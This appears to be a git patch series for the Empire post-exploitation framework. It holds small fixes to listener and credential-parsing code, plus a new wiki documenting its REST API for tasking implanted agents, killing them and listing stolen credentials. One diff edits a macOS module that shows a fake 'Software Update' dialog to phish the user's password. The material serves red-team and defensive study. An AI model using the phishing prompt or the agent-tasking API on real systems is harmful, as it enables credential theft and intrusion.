From 64ccad4e4b3ffd5c4fae589a91935d9883e15867 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Mon, 9 Nov 2020 22:50:38 -0500 Subject: [PATCH 1/4] fixed clear options issue for malleable listener --- lib/common/listeners.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/common/listeners.py b/lib/common/listeners.py index bab47943c..6491eb7a5 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -259,7 +259,8 @@ def start_listener(self, moduleName, listenerObject): self.activeListeners[name]['name'] = name # TODO: listeners should not have their default options rewritten in memory after generation - self.default_listener_options(moduleName) + if moduleName == 'redirector': + self.default_listener_options(moduleName) if self.mainMenu.socketio: self.mainMenu.socketio.emit('listeners/new', self.get_listener_for_socket(name), broadcast=True) From 56c476fd869be70462d28a8b841b7c01a6d1ff88 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Wed, 11 Nov 2020 17:49:33 -0500 Subject: [PATCH 2/4] fixed osx/prompt byte errors --- lib/common/helpers.py | 2 +- lib/modules/python/collection/osx/prompt.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/common/helpers.py b/lib/common/helpers.py index f6bdb2158..7b5fd6db1 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -457,7 +457,7 @@ def parse_credentials(data): # python/collection/prompt (Mac OS) elif b"text returned:" in parts[0]: - parts2 = parts[0].split("text returned:") + parts2 = parts[0].split(b"text returned:") if len(parts2) >= 2: password = parts2[-1] return [("plaintext", "", "", password, "", "")] diff --git a/lib/modules/python/collection/osx/prompt.py b/lib/modules/python/collection/osx/prompt.py index 8b085f613..0eba8b9e9 100644 --- a/lib/modules/python/collection/osx/prompt.py +++ b/lib/modules/python/collection/osx/prompt.py @@ -109,7 +109,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): # osascript prompt for the current application with System Preferences icon script = """ import os -print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read()) +print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read()) """ else: From 96709680e6383f4cafd0cdf17e91b1274bcbdebf Mon Sep 17 00:00:00 2001 From: Cx01N Date: Fri, 13 Nov 2020 21:32:24 -0500 Subject: [PATCH 3/4] initial wiki commit with workflow --- .github/workflows/wikisync.yml | 20 ++ wiki/Admin-Functionality.md | 90 +++++++ wiki/Agents.md | 433 +++++++++++++++++++++++++++++++++ wiki/Architecture.md | 1 + wiki/Code-Execution.md | 1 + wiki/Collection.md | 1 + wiki/Configuration.md | 1 + wiki/Credentials.md | 33 +++ wiki/Exfiltration.md | 1 + wiki/Exploitation.md | 1 + wiki/Getting-Credentials.md | 1 + wiki/Home.md | 46 ++++ wiki/Installation.md | 39 +++ wiki/Lateral-Movement.md | 1 + wiki/Listeners.md | 258 ++++++++++++++++++++ wiki/Management.md | 1 + wiki/Module-Development.md | 13 + wiki/Modules.md | 178 ++++++++++++++ wiki/Persistence.md | 1 + wiki/Privesc.md | 1 + wiki/Quickstart.md | 54 ++++ wiki/RESTful-API.md | 177 ++++++++++++++ wiki/Recon.md | 1 + wiki/Reporting.md | 135 ++++++++++ wiki/Situational-Awareness.md | 1 + wiki/Stagers.md | 201 +++++++++++++++ wiki/Staging.md | 9 + wiki/TrollSploit.md | 1 + wiki/User-Management.md | 110 +++++++++ wiki/_Footer.md | 1 + wiki/_Sidebar.md | 34 +++ 31 files changed, 1845 insertions(+) create mode 100644 .github/workflows/wikisync.yml create mode 100644 wiki/Admin-Functionality.md create mode 100644 wiki/Agents.md create mode 100644 wiki/Architecture.md create mode 100644 wiki/Code-Execution.md create mode 100644 wiki/Collection.md create mode 100644 wiki/Configuration.md create mode 100644 wiki/Credentials.md create mode 100644 wiki/Exfiltration.md create mode 100644 wiki/Exploitation.md create mode 100644 wiki/Getting-Credentials.md create mode 100644 wiki/Home.md create mode 100644 wiki/Installation.md create mode 100644 wiki/Lateral-Movement.md create mode 100644 wiki/Listeners.md create mode 100644 wiki/Management.md create mode 100644 wiki/Module-Development.md create mode 100644 wiki/Modules.md create mode 100644 wiki/Persistence.md create mode 100644 wiki/Privesc.md create mode 100644 wiki/Quickstart.md create mode 100644 wiki/RESTful-API.md create mode 100644 wiki/Recon.md create mode 100644 wiki/Reporting.md create mode 100644 wiki/Situational-Awareness.md create mode 100644 wiki/Stagers.md create mode 100644 wiki/Staging.md create mode 100644 wiki/TrollSploit.md create mode 100644 wiki/User-Management.md create mode 100644 wiki/_Footer.md create mode 100644 wiki/_Sidebar.md diff --git a/.github/workflows/wikisync.yml b/.github/workflows/wikisync.yml new file mode 100644 index 000000000..df1f7ae1d --- /dev/null +++ b/.github/workflows/wikisync.yml @@ -0,0 +1,20 @@ +on: + push: + branches: + - master + pull_request: + branches: + - master +name: Wiki Sync +jobs: + update-wiki: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@master + - name: Sync Wiki + uses: joeizzard/action-wiki-sync@master + with: + username: Cx01N + access_token: ${{ secrets.GITHUB_TOKEN }} + wiki_folder: wiki + commit_username: 'Cx01N' diff --git a/wiki/Admin-Functionality.md b/wiki/Admin-Functionality.md new file mode 100644 index 000000000..6407e0ead --- /dev/null +++ b/wiki/Admin-Functionality.md @@ -0,0 +1,90 @@ +* [User Login](#User-Login) +* [User Logout](#User-Logout) +* [Restart the RESTful API Server](#restart-the-restful-api-server) +* [Shutdown the RESTful API Server](#shutdown-the-restful-api-server) + +## User Login + +### Handler + +* **Handler** : POST /api/admin/login +* Description : Retrieves the API token given the correct username and password. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}' +``` + +**Response**: +```json +{ + "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5" +} +``` +## User Logout + +### Handler + +* **Handler** : POST /api/admin/logout +* Description : Logs out of current user account. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/logout -X POST +``` + +**Response**: +```json +{ + "success": "True" +} +``` +## Restart the RESTful API Server + +### Handler + +* **Handler** : GET /api/restart +* Description : Restarts the RESTful API server. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/admin/restart?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Shutdown the RESTful API Server + +### Handler + +* **Handler** : GET /api/shutdown +* Description : Shutdown the RESTful API server. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/admin/shutdown?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "success": true +} +``` \ No newline at end of file diff --git a/wiki/Agents.md b/wiki/Agents.md new file mode 100644 index 000000000..5d8560585 --- /dev/null +++ b/wiki/Agents.md @@ -0,0 +1,433 @@ +* [Get Current Agents](#get-current-agents) +* [Get Stale Agents](#get-stale-agents) +* [Remove Stale Agents](#remove-stale-agents) +* [Remove Agent](#remove-agent) +* [Task an Agent to run a Shell Command](#task-an-agent-to-run-a-shell-command) +* [Task all Agents to run a Shell Command](#task-all-agents-to-run-a-shell-command) +* [Get Agent Results](#get-agent-results) +* [Delete Agent Results](#delete-agent-results) +* [Delete All Agent Results](#delete-all-agent-results) +* [Clear Queued Agent Tasking](#clear-queued-agent-tasking) +* [Rename an Agent](#rename-an-agent) +* [Kill an Agent](#kill-an-agent) +* [Kill all Agents](#kill-all-agents) + +## Get Current Agents + +### Handler + +* **Handler** : GET /api/agents +* Description : Returns all current Empire agents. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/agents?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "agents": [ + { + "ID": 1, + "checkin_time": "2016-03-31 17:36:34", + "children": null, + "delay": 5, + "external_ip": "192.168.52.200", + "functions": null, + "headers": "", + "high_integrity": 0, + "hostname": "WINDOWS1", + "internal_ip": "192.168.52.200", + "jitter": 0.0, + "kill_date": "", + "lastseen_time": "2016-03-31 17:38:55", + "listener": "http://192.168.52.172:8080/", + "lost_limit": 60, + "name": "3GHZPWEGADMT2KPA", + "old_uris": null, + "os_details": "Microsoft Windows 7 Professional ", + "parent": null, + "process_id": "1636", + "process_name": "powershell", + "ps_version": "2", + "results": "", + "servers": null, + "sessionID": "3GHZPWEGADMT2KPA", + "session_key": "7.+...", + "taskings": "", + "uris": "/admin/get.php,/news.asp,/login/process.jsp", + "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "username": "WINDOWS1\\user", + "working_hours": "" + }, + ... + ] +} +``` + +## Get Stale Agents + +### Handler + +* **Handler** : GET /api/agents/stale +* Description : Returns all 'stale' Empire agents (past checkin window). +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "agents": [ + { + "ID": 1, + "checkin_time": "2016-03-31 17:36:34", + "children": null, + "delay": 5, + "external_ip": "192.168.52.200", + "functions": null, + "headers": "", + "high_integrity": 0, + "hostname": "WINDOWS1", + "internal_ip": "192.168.52.200", + "jitter": 0.0, + "kill_date": "", + "lastseen_time": "2016-03-31 17:38:55", + "listener": "http://192.168.52.172:8080/", + "lost_limit": 60, + "name": "3GHZPWEGADMT2KPA", + "old_uris": null, + "os_details": "Microsoft Windows 7 Professional ", + "parent": null, + "process_id": "1636", + "process_name": "powershell", + "ps_version": "2", + "results": "", + "servers": null, + "sessionID": "3GHZPWEGADMT2KPA", + "session_key": "7.+...", + "taskings": "", + "uris": "/admin/get.php,/news.asp,/login/process.jsp", + "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "username": "WINDOWS1\\user", + "working_hours": "" + }, + ... + ] +} +``` + +## Remove Stale Agents + +### Handler + +* **Handler** : DELETE /api/agents/stale +* Description : Removes all 'stale' Empire agents (past checkin window). +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Get Agent by Name + +### Handler + +* **Handler** : GET /api/agents/AGENT_NAME +* Description : Returns the agent specifed by AGENT_NAME. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "agents": [ + { + "ID": 1, + "checkin_time": "2016-03-31 20:29:31", + "children": null, + "delay": 5, + "external_ip": "192.168.52.200", + "functions": null, + "headers": "", + "high_integrity": 0, + "hostname": "WINDOWS1", + "internal_ip": "192.168.52.200", + "jitter": 0.0, + "kill_date": "", + "lastseen_time": "2016-03-31 20:29:38", + "listener": "http://192.168.52.173:8080/", + "lost_limit": 60, + "name": "XMY2H2ZPFWNPGEAP", + "old_uris": null, + "os_details": "Microsoft Windows 7 Professional ", + "parent": null, + "process_id": "2600", + "process_name": "powershell", + "ps_version": "2", + "results": null, + "servers": null, + "sessionID": "XMY2H2ZPFWNPGEAP", + "session_key": "+e`x!...", + "taskings": null, + "uris": "/admin/get.php,/news.asp,/login/process.jsp", + "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "username": "WINDOWS1\\user", + "working_hours": "" + } + ] +} +``` + +## Remove Agent + +### Handler + +* **Handler** : DELETE /api/agents/AGENT_NAME +* Description : Removes the agent specifed by AGENT_NAME (doesn't kill first). +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Task an Agent to run a Shell Command + +### Handler + +* **Handler** : POST /api/agents/AGENT_NAME/shell +* Description : Tasks the agent specified by AGENT_NAME to run the given shell command. +* Parameters : + * command : the shell command to task the agent to run (required) + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"whoami"}' +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Task all Agents to run a Shell Command + +### Handler + +* **Handler** : POST /api/agents/all/shell +* Description : Tasks all agents to run the given shell command. +* Parameters : + * command : the shell command to task the agents to run (required) + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"pwd"}' +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Get Agent Results + +### Handler + +* **Handler** : GET /api/agents/AGENT_NAME/results +* Description : Retrieves results for the agent specifed by AGENT_NAME. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "results": [ + { + "agentname": "CXPLDTZCKFNT3SLT", + "results": "WINDOWS1\\user\nPath \r\n---- \r\nC:\\Users\\user + } + ] +}r +``` + +## Delete Agent Results + +### Handler + +* **Handler** : DELETE /api/agents/AGENT_NAME/results +* Description : Deletes the result buffer for the agent specifed by AGENT_NAME. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Delete All Agent Results + +### Handler + +* **Handler** : DELETE /api/agents/all/results +* Description : Deletes all agent result buffers +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Clear Queued Agent Tasking + +### Handler + +* **Handler** : POST/GET /api/agents/AGENT_NAME/clear +* Description : Clears the queued taskings for the agent specified by AGENT_NAME. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/clear?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Rename an Agent + +### Handler + +* **Handler** : POST/GET /api/agents/AGENT_NAME/rename +* Description : Renames the agent specified by AGENT_NAME. +* Parameters : + * newname : the name to rename the specified agent to (required) + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/rename?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"newname":"initial"}' +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Kill an Agent + +### Handler + +* **Handler** : POST/GET /api/agents/AGENT_NAME/kill +* Description : Tasks the agent specified by AGENT_NAME to exit. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Kill all Agents + +### Handler + +* **Handler** : POST/GET /api/agents/all/kill +* Description : Tasks all agents to exit. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "success": true +} +``` diff --git a/wiki/Architecture.md b/wiki/Architecture.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Architecture.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Code-Execution.md b/wiki/Code-Execution.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Code-Execution.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Collection.md b/wiki/Collection.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Collection.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Configuration.md b/wiki/Configuration.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Configuration.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Credentials.md b/wiki/Credentials.md new file mode 100644 index 000000000..09a0d7270 --- /dev/null +++ b/wiki/Credentials.md @@ -0,0 +1,33 @@ +## Get Stored Credentials + +### Handler + +* **Handler** : GET /api/creds +* Description : Returns all credentials currently stored in an Empire server. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/creds?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "creds": [ + { + "ID": 1, + "credtype": "hash", + "domain": "testlab.local", + "host": "WINDOWS1", + "notes": "2016-03-31 17:37:23", + "password": "2b576acbe6b...", + "sid": "S-1-5-21-664317401-282805101-...", + "username": "Administrator" + }, + ... + ] +} +``` \ No newline at end of file diff --git a/wiki/Exfiltration.md b/wiki/Exfiltration.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Exfiltration.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Exploitation.md b/wiki/Exploitation.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Exploitation.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Getting-Credentials.md b/wiki/Getting-Credentials.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Getting-Credentials.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Home.md b/wiki/Home.md new file mode 100644 index 000000000..29658cece --- /dev/null +++ b/wiki/Home.md @@ -0,0 +1,46 @@ +![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg) + +[1.1]: http://i.imgur.com/tXSoThF.png (twitter icon with padding) +[2.1]: http://i.imgur.com/P3YfQoD.png (facebook icon with padding) +[3.1]: http://i.imgur.com/yCsTjba.png (google plus icon with padding) +[4.1]: http://i.imgur.com/YckIOms.png (tumblr icon with padding) +[5.1]: http://i.imgur.com/1AGmwO3.png (dribbble icon with padding) +[6.1]: http://i.imgur.com/0o48UoR.png (github icon with padding) + +[1]: https://twitter.com/bcsecurity1 +[2]: http://www.facebook.com/XXXXXXX +[3]: https://plus.google.com/XXXXXXX +[4]: http://XXXXXXX.tumblr.com +[5]: http://dribbble.com/XXXXXXX +[6]: http://www.github.com/BC-SECURITY +[7]: https://www.bc-security.org/blog + +![GitHub Release](https://img.shields.io/github/v/release/BC-SECURITY/Empire) +![GitHub contributors](https://img.shields.io/github/contributors/BC-SECURITY/Empire) +![GitHub commit activity](https://img.shields.io/github/commit-activity/m/BC-SECURITY/Empire) +![GitHub stars](https://img.shields.io/github/stars/BC-SECURITY/Empire) +![GitHub](https://img.shields.io/github/license/BC-Security/Empire) +[![Twitter URL](https://img.shields.io/twitter/url/https/twitter.com/fold_left.svg?style=flat)](https://twitter.com/BCSecurity1) + +Keep up-to-date on our blog at [https://www.bc-security.org/blog][7] + +# Empire +Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture. + +On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premiered at HackMiami 2016. BC-Security presented updates to further evade Microsoft Antimalware Scan Interface (AMSI) and JA3/S signatures at [DEF CON 27](https://github.com/BC-SECURITY/DEFCON27). + +Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to properly cite existing or prior work, please let us know at Empire@BC-Security.org. + +Empire is currently being developed and maintained by [@Cx01N](https://twitter.com/Cx01N_), [@Hubbl3](https://twitter.com/_Hubbl3), & [@Vinnybod](https://twitter.com/AZHalcyon). While the main Empire project is no longer maintained, this fork is maintained by [@bcsecurity1](https://twitter.com/BCSecurity1). +Please reach out to us on our [Discord](https://discord.gg/P8PZPyf) if you have any questions or talk about offensive security. + +## Documentation +Empire maintains a web site version of the documentation at [http://www.powershellempire.com](http://www.powershellempire.com). + +## Help us Improve! + +This documentation was organized and built by the PowerShell Empire development team. It is neither complete nor perfect, so any suggestions, corrections, or additions from the community would be greatly appreciated. Please submit any Wiki changes as [Empire Pull Requests](https://github.com/BC-SECURITY/Empire/pulls) using the [Wiki directory](./wiki). + +contact us by email at Empire@BC-Security.org with any drafted wiki pages or suggested modifications. + +[[https://github.com/EmpireProject/Empire/wiki/Images/empire_logo.png|align=center]] diff --git a/wiki/Installation.md b/wiki/Installation.md new file mode 100644 index 000000000..066b33ae0 --- /dev/null +++ b/wiki/Installation.md @@ -0,0 +1,39 @@ +# Kali + +You can install the latest version of Empire by running the following: + +```sh +apt install powershell-empire +``` + +# Github + +To install and run: + +```sh +git clone https://github.com/BC-SECURITY/Empire.git +cd Empire +sudo ./setup/install.sh +``` + +There's also a [quickstart here](http://www.powershellempire.com/?page_id=110) and full [documentation here](http://www.powershellempire.com/?page_id=83). + +# Docker +If you want to run Empire using a pre-built docker container: +```bash +docker pull bcsecurity/empire:{version} +docker run -it bcsecurity/empire:{version} + +# with persistent storage +docker pull bcsecurity/empire:{version} +docker create -v /empire --name data bcsecurity/empire:{version} +docker run -it --volumes-from data bcsecurity/empire:{version} + +# if you prefer to be dropped into bash instead of directly into empire +# docker run -it --volumes-from data bcsecurity/empire:{version} /bin/bash +``` + +All image versions can be found at: https://hub.docker.com/r/bcsecurity/empire/ +* The last commit from master will be deployed to the `latest` tag +* The last commit from the dev branch will be deployed to the `dev` tag +* All github tagged releases will be deployed using their version numbers (v3.0.0, v3.1.0, etc) \ No newline at end of file diff --git a/wiki/Lateral-Movement.md b/wiki/Lateral-Movement.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Lateral-Movement.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Listeners.md b/wiki/Listeners.md new file mode 100644 index 000000000..3c9bed868 --- /dev/null +++ b/wiki/Listeners.md @@ -0,0 +1,258 @@ +* [Get Current Listeners](#get-current-listeners) +* [Get Listener by Name](#get-listener-by-name) +* [Get Current Listener Options](#get-current-listener-options) +* [Create a Listener](#create-a-listener) +* [Kill a Listener](#kill-a-listener) +* [Kill All Listeners](#kill-all-listeners) + +## Get Current Listeners + +### Handler + +* **Handler** : GET /api/listeners +* Description : Returns all current Empire listeners. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/listeners?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "listeners": [ + { + "ID": 1, + "cert_path": "", + "default_delay": 5, + "default_jitter": 0.0, + "default_lost_limit": 60, + "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "host": "http://192.168.52.172:8080", + "kill_date": "", + "listener_type": "native", + "name": "test", + "port": 8080, + "redirect_target": "", + "staging_key": "m@T%L?V...", + "working_hours": "" + } + ] +} +``` + +## Get Listener by Name + +### Handler + +* **Handler** : GET /api/listeners/LISTENER_NAME +* Description : Returns the listener specifed by the name/id LISTENER_NAME. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/listeners/test?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "listeners": [ + { + "ID": 1, + "cert_path": "", + "default_delay": 5, + "default_jitter": 0.0, + "default_lost_limit": 60, + "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "host": "http://192.168.52.172:8080", + "kill_date": "", + "listener_type": "native", + "name": "test", + "port": 8080, + "redirect_target": "", + "staging_key": "m@T%L...", + "working_hours": "" + } + ] +} +``` + +## Get Current Listener Options + +### Handler + +* **Handler** : GET /api/listeners/options/listener_type +* Description : Returns the current listener options for the specified type. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/listeners/options/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "listeneroptions": [ + { + "CertPath": { + "Description": "Certificate path for https listeners.", + "Required": false, + "Value": "" + }, + "DefaultDelay": { + "Description": "Agent delay/reach back interval (in seconds).", + "Required": true, + "Value": 5 + }, + "DefaultJitter": { + "Description": "Jitter in agent reachback interval (0.0-1.0).", + "Required": true, + "Value": 0.0 + }, + "DefaultLostLimit": { + "Description": "Number of missed checkins before exiting", + "Required": true, + "Value": 60 + }, + "DefaultProfile": { + "Description": "Default communication profile for the agent.", + "Required": true, + "Value": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + }, + "Host": { + "Description": "Hostname/IP for staging.", + "Required": true, + "Value": "http://192.168.52.173:8080" + }, + "KillDate": { + "Description": "Date for the listener to exit (MM/dd/yyyy).", + "Required": false, + "Value": "" + }, + "Name": { + "Description": "Listener name.", + "Required": true, + "Value": "test" + }, + "Port": { + "Description": "Port for the listener.", + "Required": true, + "Value": "8080" + }, + "RedirectTarget": { + "Description": "Listener target to redirect to for pivot/hop.", + "Required": false, + "Value": "" + }, + "StagingKey": { + "Description": "Staging key for initial agent negotiation.", + "Required": true, + "Value": "m@T%L..." + }, + "Type": { + "Description": "Listener type (native, pivot, hop, foreign, meter).", + "Required": true, + "Value": "native" + }, + "WorkingHours": { + "Description": "Hours for the agent to operate (09:00-17:00).", + "Required": false, + "Value": "" + } + } + ] +} +``` + +## Create a Listener + +### Handler + +* **Handler** : POST /api/listeners/listener_type +* Description : Creates a listener with the specified parameters. +* Parameters (none required) : + * Name : name for the listener + * *additional* : any additional values enumerated from listener options above + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}' +``` + +**Response**: +```json +{ + "msg": "listener 'testing' successfully started.", + "success": true +} +``` + +### Failure Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}' +``` + +**Response**: +```json +{ + "msg": "Error starting listener on port 8080, port likely already in use.", + "success": false +} +``` + +## Kill a Listener + +### Handler + +* **Handler** : DELETE /api/listeners/LISTENER_NAME +* Description : Kills the listener specifed by the name/id LISTENER_NAME. +* No parameters + +#### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/listeners/testing?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE +``` + +**Response**: +```json +{ + "success": true +} +``` + +## Kill All Listeners + +### Handler + +* **Handler** : DELETE /api/listeners/all +* Description : Kills all listeners. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/listeners/all?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE +``` + +**Response**: +```json +{ + "success": true +} +``` \ No newline at end of file diff --git a/wiki/Management.md b/wiki/Management.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Management.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Module-Development.md b/wiki/Module-Development.md new file mode 100644 index 000000000..f770a6013 --- /dev/null +++ b/wiki/Module-Development.md @@ -0,0 +1,13 @@ +Modules are contained in the **./lib/modules/* ** folder. The template.py file has detailed information on a module's structure and what it should contain: + +[[https://github.com/EmpireProject/Empire/wiki/Images/empire_template.png|align=center]] + +Additional options go in self.options after the **Agent** argument. A module like **./lib/modules/situational_awareness/userhunter.py** has an example of this. If the argument is required for execution, set Required to True, and if you want a default value filled, set Value. + +In the generate() method, the script variable holds the main PowerShell script you want to run. End this script with the main function you want run, with no spaces after the triple quotes, e.g. Invoke-Something""". If your PowerShell script is large or reused by multiple modules, consider placing it in the **./data/module_source/* ** directory and reading it in as a resource. + +If any of your options need special manipulation, modify the for option,values in self.options.iteritems(): code. For example, the credentials/mimikatz/golden_ticket needs some options tacked on in a special format, so it handles them accordingly. 